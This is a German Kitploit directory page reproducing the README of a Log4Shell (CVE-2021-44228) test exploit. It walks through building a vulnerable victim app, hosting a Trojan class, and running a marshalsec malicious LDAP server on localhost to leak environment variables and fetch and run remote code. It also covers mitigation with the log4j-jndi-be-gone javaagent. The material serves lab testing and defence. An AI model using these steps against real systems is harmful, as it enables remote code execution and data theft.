Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
log4shell-test-exploit — Test-Exploit für CVE-2021-44228 | Kitploit
Tools/GitHubGitHub/wajda/log4shell-test-exploit
SchwachstellenanalyseExploitationWebanwendungs-ExploitationLernen & BildungPayload-EntwicklungLabs & Praxis
GitHubwajda/log4shell-test-exploit

log4shell-test-exploit

Test-Exploit für CVE-2021-44228

Repository anzeigen
1vor 4 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Test-Exploit für CVE-2021-44228 (log4shell)

Vorbereitung

root@kitploit:~
# Install Nodejs HTTP server 
npm -g i http-server

# Build victim app
cd victim-app
mvn install

# Compile Trojan
cd test-trojan
javac Trojan.java

# Build marshalsec (required Java 8)
git clone [email protected]:mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests

# Build log4j-jndi-be-gone
git clone [email protected]:wajda/log4j-jndi-be-gone.git
cd log4j-jndi-be-gone
git checkout shading-support
./gradlew

Starten des HTTP-Servers, der eine Trojaner-Payload hostet

root@kitploit:~
cd test-trojan
http-server .

Starten eines schädlichen LDAP-Servers

Siehe https://github.com/mbechler/marshalsec

root@kitploit:~
cd marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8080/#Trojan"

Exploit-Ereignisse beobachten (optional)

nützlich, wenn stderr verborgen ist

root@kitploit:~
watch -d -n 1 'ls -la /tmp/ | grep -i log4shell-BUSTED'

Exploit

Erklärung

Die Opferanwendung protokolliert die folgende Zeichenfolge über eine verwundbare log4j2-Bibliothek (Version 2.14.1) und führt dabei gleichzeitig zwei Angriffsvektoren aus:

  1. Ausspähen von Umgebungsvariablen ($USER in diesem Beispiel), die in der Ausgabe des marshalsec-LDAP-Servers angezeigt werden können
root@kitploit:~
Send LDAP reference result for a/<VICTIM_USER_NAME> redirecting to http://127.0.0.1:8080/Trojan.class
  1. Herunterladen und Ausführen von schädlichem Code, der die Meldung !!! BUSTED !!! in den Standardfehlerstrom der Opferanwendung protokolliert, sowie eine leere Datei /tmp/log4shell-BUSTED-* erstellt.
    Damit dieser Angriff funktioniert, muss die folgende JVM-Option auf dem Opferserver aktiviert sein:
root@kitploit:~
-Dcom.sun.jndi.ldap.object.trustURLCodebase=true
Ausführung
root@kitploit:~
cd victim-app

# ... in a console app
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar fatjar/target/log4j2-victim-app-1.0-SNAPSHOT.jar

# ... in a web app (on Tomcat)
cp web/target/log4j2-victim-webapp-1.0-SNAPSHOT.war $TOMCAT_HOME/webapps
curl http://localhost:$TOMCAT_HTTP_PORT/log4j2-victim-webapp-1.0-SNAPSHOT/

Abwehr

Siehe: https://github.com/wajda/log4j-jndi-be-gone/tree/shading-support

root@kitploit:~
java -javaagent:log4j-jndi-be-gone-1.0.0-wajda-standalone.jar=classSigDetection=enabled -jar fatjar/target/log4j2-victim-app-1.0-SNAPSHOT.jar

Systemweite Abwehr

Ersetzen Sie alle java-Binärdateien durch das folgende Skript:

java.guarded

root@kitploit:~
#!/bin/bash
$(dirname "$0")/java.original "-javaagent:/path/to/log4j-jndi-be-gone-1.0.0-wajda-standalone.jar=logDir=/tmp,classSigDetection=enabled" "$@"

Beispiel:

root@kitploit:~
 cd $(dirname $(which java))
 sudo su
 mv java java.original
 cp java.guarded java
Tool herunterladen